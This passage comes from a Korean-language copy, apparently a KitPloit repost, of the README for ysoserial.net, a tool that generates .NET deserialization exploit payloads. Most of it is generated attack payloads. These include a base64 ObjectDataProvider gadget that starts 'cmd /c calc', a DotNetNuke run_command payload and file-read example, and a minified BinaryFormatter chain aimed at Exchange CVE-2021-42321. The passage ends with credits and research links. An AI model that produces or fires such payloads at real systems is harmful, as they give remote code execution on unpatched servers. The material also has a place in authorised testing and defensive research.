A8L1ROPiYjeEQ7DQogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPFMgTj0iSGFzaCIgPiAgDQoJCSZsdDtSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSImZ3Q7DQoJICZsdDtPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgJmd0Ow0KICAgICAmbHQ7T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnMmZ3Q7DQogICAgICAgICZsdDtTeXN0ZW06U3RyaW5nJmd0O2NtZCZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgICAgJmx0O1N5c3RlbTpTdHJpbmcmZ3Q7L2MgImNhbGMiICZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycyZndDsNCiAgICAmbHQ7L09iamVjdERhdGFQcm92aWRlciZndDsNCiZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0Ow0KCQkJPC9TPiYjeEQ7DQogICAgICAgICAgPC9MU1Q+JiN4RDsNCiAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgIDwvUHJvcHM+JiN4RDsNCiAgICAgIDxNUz4mI3hEOw0KICAgICAgICA8T2JqIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIj4gJiN4RDsNCiAgICAgICAgICA8VE4gUmVmSWQ9IjEiID4gJiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5Db2xsZWN0aW9ucy5BcnJheUxpc3Q8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgICA8L1ROPiYjeEQ7DQogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPE9iaiBSZWZJZD0iMyI+ICYjeEQ7DQogICAgICAgICAgICAgIDxNUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49IkNsYXNzTmFtZSI+UnVuc3BhY2VJbnZva2U1PC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPFMgTj0iTmFtZXNwYWNlIj5TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uPC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPE5pbCBOPSJTZXJ2ZXJOYW1lIiAvPiYjeEQ7DQogICAgICAgICAgICAgICAgPEkzMiBOPSJIYXNoIj40NjA5MjkxOTI8L0kzMj4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49Ik1pWG1sIj4gJmx0O0NMQVNTIE5BTUU9IlJ1bnNwYWNlSW52b2tlNSIgJmd0OyZsdDtQUk9QRVJUWSBOQU1FPSJ0ZXN0MSIgVFlQRSA9InN0cmluZyIgJmd0OyZsdDsvUFJPUEVSVFkmZ3Q7Jmx0Oy9DTEFTUyZndDs8L1M+JiN4RDsNCiAgICAgICAgICAgICAgPC9NUz4mI3hEOw0KICAgICAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgICAgICA8L0xTVD4mI3hEOw0KICAgICAgICA8L09iaj4mI3hEOw0KICAgICAgPC9NUz4mI3hEOw0KICAgIDwvT2JqPiYjeEQ7DQogICAgPE1TPiYjeEQ7DQogICAgICA8UmVmIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIiAvPiYjeEQ7DQogICAgPC9NUz4mI3hEOw0KICA8L09iaj4mI3hEOw0KPC9PYmpzPgs=

root@kitploit:~
### DotNetNuke 플러그인을 사용하여 run_command 페이로드 생성하기```
$ ./ysoserial.exe -p DotNetNuke -m run_command -c calc.exe

<profile><item key="foo" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfObjectStateFormatterObjectDataProvider xmlns:xsd=" [http://www.w3.org/2001/XMLSchema](http://www.w3.org/2001/XMLSchema) " xmlns:xsi=" [http://www.w3.org/2001/XMLSchema-instance](http://www.w3.org/2001/XMLSchema-instance) "><ExpandedElement/><ProjectedProperty0><MethodName>Deserialize</MethodName><MethodParameters><anyType xsi:type="xsd:string">/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=</anyType></MethodParameters><ObjectInstance xsi:type="ObjectStateFormatter"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>

DotNetNuke의 플러그인을 사용하여 read_file 페이로드 생성```

$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini

WriteFilewin.ini

root@kitploit:~
### ClaimsPrincipal 가젯 내부의 ActivitySurrogateDisableTypeCheck 가젯을 사용하여 Exchange CVE-2021-42321을 악용하기 위한 minified BinaryFormatter 페이로드 생성```
> .\ysoserial.exe -g ClaimsPrincipal -f BinaryFormatter -c foobar -bgc ActivitySurrogateDisableTypeCheck --minify --ust

AAEAAAD/////AQAAAAAAAAAEAQAAACZTeXN0ZW0uU2VjdXJpdHkuQ2xhaW1zLkNsYWltc1ByaW5jaXBhbAEAAAAcbV9zZXJpYWxpemVkQ2xhaW1zSWRlbnRpdGllcwEGBQAAAKgfQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFFWlRlWE4wWlcwc1ZtVnljMmx2YmowMExqQXVNQzR3TEVOMWJIUjFjbVU5Ym1WMWRISmhiQ3hRZFdKc2FXTkxaWGxVYjJ0bGJqMWlOemRoTldNMU5qRTVNelJsTURnNUJRRUFBQUJBVTNsemRHVnRMa052Ykd4bFkzUnBiMjV6TGtkbGJtVnlhV011VTI5eWRHVmtVMlYwWURGYlcxTjVjM1JsYlM1VGRISnBibWNzYlhOamIzSnNhV0pkWFFRQUFBQUZRMjkxYm5RSVEyOXRjR0Z5WlhJSFZtVnljMmx2YmdWSmRHVnRjd0FEQUFZSVNWTjVjM1JsYlM1RGIyeHNaV04wYVc5dWN5NUhaVzVsY21sakxrTnZiWEJoY21semIyNURiMjF3WVhKbGNtQXhXMXRUZVhOMFpXMHVVM1J5YVc1bkxHMXpZMjl5YkdsaVhWMElBZ0FBQUFJQUFBQUpBd0FBQUFJQUFBQUpCQUFBQUFRREFBQUFTVk41YzNSbGJTNURiMnhzWldOMGFXOXVjeTVIWlc1bGNtbGpMa052YlhCaGNtbHpiMjVEYjIxd1lYSmxjbUF4VzF0VGVYTjBaVzB1VTNSeWFXNW5MRzF6WTI5eWJHbGlYVjBCQUFBQUMxOWpiMjF3WVhKcGMyOXVBeUpUZVhOMFpXMHVSR1ZzWldkaGRHVlRaWEpwWVd4cGVtRjBhVzl1U0c5c1pHVnlDUVVBQUFBUkJBQUFBQUlBQUFBR0JnQUFBQUFHQndBQUFQMExQRkpsYzI5MWNtTmxSR2xqZEdsdmJtRnllU0I0Yld4dWN6MGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd3ZjSEpsYzJWdWRHRjBhVzl1SWlCNGJXeHVjenBoUFNKb2RIUndPaTh2YzJOb1pXMWhjeTV0YVdOeWIzTnZablF1WTI5dEwzZHBibVo0THpJd01EWXZlR0Z0YkNJZ2VHMXNibk02WWowaVkyeHlMVzVoYldWemNHRmpaVHBUZVhOMFpXMDdZWE56WlcxaWJIazliWE5qYjNKc2FXSWlJSGh0Ykc1ek9tTTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtOdmJtWnBaM1Z5WVhScGIyNDdZWE56WlcxaWJIazlVM2x6ZEdWdExrTnZibVpwWjNWeVlYUnBiMjRpSUhodGJHNXpPbVE5SW1Oc2NpMXVZVzFsYzNCaFkyVTZVM2x6ZEdWdExsSmxabXhsWTNScGIyNDdZWE56WlcxaWJIazliWE5qYjNKc2FXSWlQanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnWVRwTFpYazlJblI1Y0dVaUlFOWlhbVZqZEZSNWNHVTlJbnRoT2xSNWNHVWdZanBVZVhCbGZTSWdUV1YwYUc5a1RtRnRaVDBpUjJWMFZIbHdaU0krUEU5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2k1TlpYUm9iMlJRWVhKaGJXVjBaWEp6UGp4aU9sTjBjbWx1Wno1VGVYTjBaVzB1VjI5eWEyWnNiM2N1UTI5dGNHOXVaVzUwVFc5a1pXd3VRWEJ3VTJWMGRHbHVaM01zVTNsemRHVnRMbGR2Y210bWJHOTNMa052YlhCdmJtVnVkRTF2WkdWc0xGWmxjbk5wYjI0OU5DNHdMakF1TUN4RGRXeDBkWEpsUFc1bGRYUnlZV3dzVUhWaWJHbGpTMlY1Vkc5clpXNDlNekZpWmpNNE5UWmhaRE0yTkdVek5Ud3ZZanBUZEhKcGJtYytQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VFdWMGFHOWtVR0Z5WVcxbGRHVnljejQ4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2o0OFQySnFaV04wUkdGMFlWQnliM1pwWkdWeUlHRTZTMlY1UFNKbWFXVnNaQ0lnVDJKcVpXTjBTVzV6ZEdGdVkyVTlJbnRUZEdGMGFXTlNaWE52ZFhKalpTQjBlWEJsZlNJZ1RXVjBhRzlrVG1GdFpUMGlSMlYwUm1sbGJHUWlQanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VFdWMGFHOWtVR0Z5WVcxbGRHVnljejQ4WWpwVGRISnBibWMrWkdsellXSnNaVUZqZEdsMmFYUjVVM1Z5Y205bllYUmxVMlZzWldOMGIzSlVlWEJsUTJobFkyczhMMkk2VTNSeWFXNW5QanhrT2tKcGJtUnBibWRHYkdGbmN6NDBNRHd2WkRwQ2FXNWthVzVuUm14aFozTStQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VFdWMGFHOWtVR0Z5WVcxbGRHVnljejQ4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2o0OFQySnFaV04wUkdGMFlWQnliM1pwWkdWeUlHRTZTMlY1UFNKelpYUWlJRTlpYW1WamRFbHVjM1JoYm1ObFBTSjdVM1JoZEdsalVtVnpiM1Z5WTJVZ1ptbGxiR1I5SWlCTlpYUm9iMlJPWVcxbFBTSlRaWFJXWVd4MVpTSStQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaTVOWlhSb2IyUlFZWEpoYldWMFpYSnpQanhpT2s5aWFtVmpkQzgrUEdJNlFtOXZiR1ZoYmo1MGNuVmxQQzlpT2tKdmIyeGxZVzQrUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVRXVjBhRzlrVUdGeVlXMWxkR1Z5Y3o0OEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNqNDhUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlJR0U2UzJWNVBTSnpaWFJOWlhSb2IyUWlJRTlpYW1WamRFbHVjM1JoYm1ObFBTSjdZVHBUZEdGMGFXTWdZenBEYjI1bWFXZDFjbUYwYVc5dVRXRnVZV2RsY2k1QmNIQlRaWFIwYVc1bmMzMGlJRTFsZEdodlpFNWhiV1U5SWxObGRDSStQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaTVOWlhSb2IyUlFZWEpoYldWMFpYSnpQanhpT2xOMGNtbHVaejV0YVdOeWIzTnZablE2VjI5eWEyWnNiM2REYjIxd2IyNWxiblJOYjJSbGJEcEVhWE5oWW14bFFXTjBhWFpwZEhsVGRYSnliMmRoZEdWVFpXeGxZM1J2Y2xSNWNHVkRhR1ZqYXp3dllqcFRkSEpwYm1jK1BHSTZVM1J5YVc1blBuUnlkV1U4TDJJNlUzUnlhVzVuUGp3dlQySnFaV04wUkdGMFlWQnliM1pwWkdWeUxrMWxkR2h2WkZCaGNtRnRaWFJsY25NK1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSStQQzlTWlhOdmRYSmpaVVJwWTNScGIyNWhjbmsrQkFVQUFBQWlVM2x6ZEdWdExrUmxiR1ZuWVhSbFUyVnlhV0ZzYVhwaGRHbHZia2h2YkdSbGNnTUFBQUFJUkdWc1pXZGhkR1VIYldWMGFHOWtNQWR0WlhSb2IyUXhBd01ETUZONWMzUmxiUzVFWld4bFoyRjBaVk5sY21saGJHbDZZWFJwYjI1SWIyeGtaWElyUkdWc1pXZGhkR1ZGYm5SeWVTOVRlWE4wWlcwdVVtVm1iR1ZqZEdsdmJpNU5aVzFpWlhKSmJtWnZVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjaTlUZVhOMFpXMHVVbVZtYkdWamRHbHZiaTVOWlcxaVpYSkpibVp2VTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2drSUFBQUFDUWtBQUFBSkNnQUFBQVFJQUFBQU1GTjVjM1JsYlM1RVpXeGxaMkYwWlZObGNtbGhiR2w2WVhScGIyNUliMnhrWlhJclJHVnNaV2RoZEdWRmJuUnllUWNBQUFBRWRIbHdaUWhoYzNObGJXSnNlUVowWVhKblpYUVNkR0Z5WjJWMFZIbHdaVUZ6YzJWdFlteDVEblJoY21kbGRGUjVjR1ZPWVcxbENtMWxkR2h2WkU1aGJXVU5aR1ZzWldkaGRHVkZiblJ5ZVFFQkFnRUJBUU13VTNsemRHVnRMa1JsYkdWbllYUmxVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjaXRFWld4bFoyRjBaVVZ1ZEhKNUJnc0FBQUF1VTNsemRHVnRMa1oxYm1OZ01sdGJVM2x6ZEdWdExsTjBjbWx1WjEwc1cxTjVjM1JsYlM1UFltcGxZM1JkWFFZTUFBQUFDRzF6WTI5eWJHbGlDZ1lOQUFBQVZWQnlaWE5sYm5SaGRHbHZia1p5WVcxbGQyOXlheXhXWlhKemFXOXVQVFF1TUM0d0xqQXNRM1ZzZEhWeVpUMXVaWFYwY21Gc0xGQjFZbXhwWTB0bGVWUnZhMlZ1UFRNeFltWXpPRFUyWVdRek5qUmxNelVHRGdBQUFDQlRlWE4wWlcwdVYybHVaRzkzY3k1TllYSnJkWEF1V0dGdGJGSmxZV1JsY2dZUEFBQUFCVkJoY25ObENSQUFBQUFFQ1FBQUFDOVRlWE4wWlcwdVVtVm1iR1ZqZEdsdmJpNU5aVzFpWlhKSmJtWnZVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjZ1lBQUFBRVRtRnRaUXhCYzNObGJXSnNlVTVoYldVSlEyeGhjM05PWVcxbENWTnBaMjVoZEhWeVpRcE5aVzFpWlhKVWVYQmxFRWRsYm1WeWFXTkJjbWQxYldWdWRITUJBUUVCQUFNSURWTjVjM1JsYlM1VWVYQmxXMTBKRHdBQUFBa05BQUFBQ1E0QUFBQUdGQUFBQUNKVGVYTjBaVzB1VDJKcVpXTjBJRkJoY25ObEtGTjVjM1JsYlM1VGRISnBibWNwQ0FBQUFBb0JDZ0FBQUFrQUFBQUdGUUFBQUFkRGIyMXdZWEpsQ1F3QUFBQUdGd0FBQUExVGVYTjBaVzB1VTNSeWFXNW5CaGdBQUFBclNXNTBNeklnUTI5dGNHRnlaU2hUZVhOMFpXMHVVM1J5YVc1bkxDQlRlWE4wWlcwdVUzUnlhVzVuS1FnQUFBQUtBUkFBQUFBSUFBQUFCaGtBQUFBa1UzbHpkR1Z0TGtOdmJYQmhjbWx6YjI1Z01WdGJVM2x6ZEdWdExsTjBjbWx1WjExZENRd0FBQUFLQ1F3QUFBQUpGd0FBQUFrVkFBQUFDZ3M9Cw==

v2 브랜치

v2 브랜치는 irsdl에 의해 .NET Framework 2.0에서 작동하도록 변경된 ysoserial.net(2018-03-15)의 복사본입니다. 이 프로젝트는 .NET Framework v2.0을 사용하는 애플리케이션에서 사용할 수 있지만, 가젯이 의존하기 때문에 대상 시스템에 .NET Framework 3.5가 설치되어 있어야 합니다. 이 문제는 향후 .NET Framework 2.0의 새로운 가젯이 식별되면 해결될 것입니다.

기여하기

  • 포크하기
  • 기능 브랜치 생성 (git checkout -b my-new-feature)
  • 변경 사항 커밋 (git commit -am 'Add some feature')
  • 브랜치에 푸시 (git push origin my-new-feature)
  • 새 풀 리퀘스트 생성

감사 인사

모든 기여자분들께 특별히 감사드립니다:

  • Oleksandr Mirosh
  • irsdl
  • JarLob
  • DS-Kurt-Boberg
  • mwulftange
  • yallie
  • paralax

크레딧```

$ ./ysoserial.exe --credit

ysoserial.net has been originally developed by Alvaro Munoz (@pwntester) this tool is being maintained by Alvaro Munoz (@pwntester) and Soroush Dalili (@irsdl)

Credits for available gadgets: ActivitySurrogateDisableTypeCheck [Finders: Nick Landers] ActivitySurrogateSelector [Finders: James Forshaw] [Contributors: Alvaro Munoz, zcgonvh] ActivitySurrogateSelectorFromFile [Finders: James Forshaw] [Contributors: Alvaro Munoz, zcgonvh] AxHostState [Finders: Soroush Dalili] BaseActivationFactory [Finders: Piotr Bazydlo] ClaimsIdentity [Finders: Soroush Dalili] ClaimsPrincipal [Finders: jang] DataSet [Finders: James Forshaw] [Contributors: Soroush Dalili] DataSetOldBehaviour [Finders: Steven Seeley] [Contributors: Soroush Dalili] DataSetOldBehaviourFromFile [Finders: Steven Seeley, Markus Wulftange] [Contributors: Soroush Dalili] DataSetTypeSpoof [Finders: James Forshaw] [Contributors: Soroush Dalili, Markus Wulftange, Jang] GenericPrincipal [Finders: Soroush Dalili] GetterCompilerResults [Finders: Piotr Bazydlo] GetterSecurityException [Finders: Piotr Bazydlo] GetterSettingsPropertyValue [Finders: Piotr Bazydlo] ObjectDataProvider [Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro Munoz, Soroush Dalili, Dane Evans] ObjRef [Finders: Markus Wulftange] PSObject [Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro Munoz] ResourceSet [Finders: Soroush Dalili] RolePrincipal [Finders: Soroush Dalili] SessionSecurityToken [Finders: @mufinnnnnnn, Soroush Dalili] [Contributors: Soroush Dalili] SessionViewStateHistoryItem [Finders: Soroush Dalili] TextFormattingRunProperties [Finders: Oleksandr Mirosh and Alvaro Munoz] [Contributors: Oleksandr Mirosh, Soroush Dalili, Piotr Bazydlo] ToolboxItemContainer [Finders: @frycos] TypeConfuseDelegate [Finders: James Forshaw] [Contributors: Alvaro Munoz] TypeConfuseDelegateMono [Finders: James Forshaw] [Contributors: Denis Andzakovic, Soroush Dalili] WindowsClaimsIdentity [Finders: Soroush Dalili] WindowsIdentity [Finders: Levi Broderick] [Contributors: Alvaro Munoz, Soroush Dalili] WindowsPrincipal [Finders: Steven Seeley of Qihoo 360 Vulcan Team] [Contributors: Chris Anastasio] XamlAssemblyLoadFromFile [Finders: Soroush Dalili] [Contributors: russtone] XamlImageInfo [Finders: Piotr Bazydlo]

Credits for available plugins: ActivatorUrl Harrison Neal Altserialization Soroush Dalili ApplicationTrust Soroush Dalili Clipboard Soroush Dalili DotNetNuke discovered by Oleksandr Mirosh and Alvaro Munoz, implemented by Alvaro Munoz, tested by @GlitchWitch GetterCallGadgets Piotr Bazydlo MachineKeySessionSecurityTokenHandler L@2uR1te NetNonRceGadgets Piotr Bazydlo Resx Soroush Dalili SessionSecurityTokenHandler Soroush Dalili SharePoint CVE-2018-8421: Soroush Dalili, CVE-2019-0604: Markus Wulftange, CVE-2020-1147: Oleksandr Mirosh, Markus Wulftange, Jonathan Birch, Steven Seeley (write-up) - implemented by Soroush Dalili ThirdPartyGadgets Piotr Bazydlo TransactionManagerReenlist Soroush Dalili ViewState Soroush Dalili

Various other people have also donated their time and contributed to this project. Please see https://github.com/pwntester/ysoserial.net/graphs/contributors to find those who have helped developing more features or have fixed bugs.

root@kitploit:~
## 추가 자료
- [.NET 직렬화 공격](https://speakerdeck.com/pwntester/attacking-net-serialization)
- [금요일 13일: JSON 공격 - 슬라이드](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- [금요일 13일: JSON 공격 - 백서](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
- [금요일 13일: JSON 공격 - 동영상(데모)](https://www.youtube.com/watch?v=ZBfBYoK_Wr0)
- [너 내 타입이니? - 슬라이드](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf)
- [너 내 타입이니? - 백서](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
- [.NET 관리 DCOM 익스플로잇](https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html)
- [Remoting 서비스 익스플로잇](https://github.com/tyranid/ExploitRemotingService)
- [HTTP를 통한 .NET Remoting 찾기 및 역직렬화를 이용한 익스플로잇](https://web.archive.org/web/20190330065542/https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/)
- [.NET Remoting 재고찰](https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html)
- [.NET 직렬화 Binder 우회](https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html)
- [강화된 .NET 역직렬화 익스플로잇: 새로운 익스플로잇 아이디어와 안전하지 않은 직렬화 남용 - Hexacon 2023 백서](https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf)

## ysoserial.net 야생 참조

### 연구:
- https://www.alphabot.com/security/blog/2017/net/How-to-configure-Json.NET-to-create-a-vulnerable-web-API.html
- https://web.archive.org/web/20190401191940/https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/december/beware-of-deserialisation-in-.net-methods-and-classes-code-execution-via-paste/
- https://web.archive.org/web/20190330065542/https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/
- https://web.archive.org/web/20180903005001/https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/august/aspnet-resource-files-resx-and-deserialisation-issues/
- https://web.archive.org/web/20191210003556/https://www.nccgroup.trust/uk/our-research/use-of-deserialisation-in-.net-framework-methods-and-classes/
- https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- https://research.nccgroup.com/2019/08/23/getting-shell-with-xamlx-files/
- https://soroush.secproject.com/blog/2019/08/uploading-web-config-for-fun-and-profit-2/
- https://www.mdsec.co.uk/2020/04/introducing-ysoserial-net-april-2020-improvements/
- https://www.netspi.com/blog/technical/adversary-simulation/re-animating-activitysurrogateselector/
